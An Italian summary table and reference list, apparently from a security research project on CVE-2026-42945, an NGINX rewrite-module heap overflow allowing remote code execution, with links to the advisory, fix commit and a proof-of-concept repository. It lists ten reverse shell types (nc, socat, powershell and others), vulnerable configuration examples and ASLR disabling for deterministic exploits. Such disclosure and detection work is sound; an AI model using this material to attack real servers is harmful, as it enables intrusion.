Script shell15 (detection, tools, shell, test, pipelines)
Patch5 (1 fix + 1 hardening + 3 backports)
Set di regole WAF3 (ModSecurity, Suricata, Falco)
Configurazione CI1 (GitHub Actions — solo CI)
Documentazione9 documenti tecnici dettagliati
Esempi di configurazione7 (4 vulnerabili, 2 sicuri, 1 con cattura con nome + 3 avanzati)
Log dei commit1003+ commit individuali
Tipi di shell10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell)
Harness di fuzzing1 (libFuzzer, ~200 righe di C)
Casi di test8 test unitari + shell runner
Versioni NGINX coperte20 nella matrice di regressione
Ciclo di vita18 anni (2008–2026)

20. Riferimenti

Ufficiali

RiferimentoURL
Voce NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-42945
Commit di correzionehttps://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686
Avviso F5https://my.f5.com/manage/s/article/K000161019
Changelog NGINXhttps://nginx.org/en/CHANGES

Ricerca

RiferimentoURL
DepthFirst Researchhttps://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability
Repository PoChttps://github.com/DepthFirstDisclosures/Nginx-Rift
CWE-122https://cwe.mitre.org/data/definitions/122.html

Tecnici

RisorsaDescrizione
ngx_http_script.cIl file sorgente con il bug nel modulo rewrite di NGINX
ngx_pool_cleanup_tLa struttura dell'heap corrotta per la RCE
ngx_escape_uri()La funzione di espansione che causa l'overflow
setarch(8)Strumento Linux per disabilitare ASLR per indirizzi di exploit deterministici

Questo progetto ha finalità educative e di ricerca sulla sicurezza difensiva. La vulnerabilità è stata divulgata in modo responsabile e corretta dai manutentori di NGINX.

Scarica lo strumento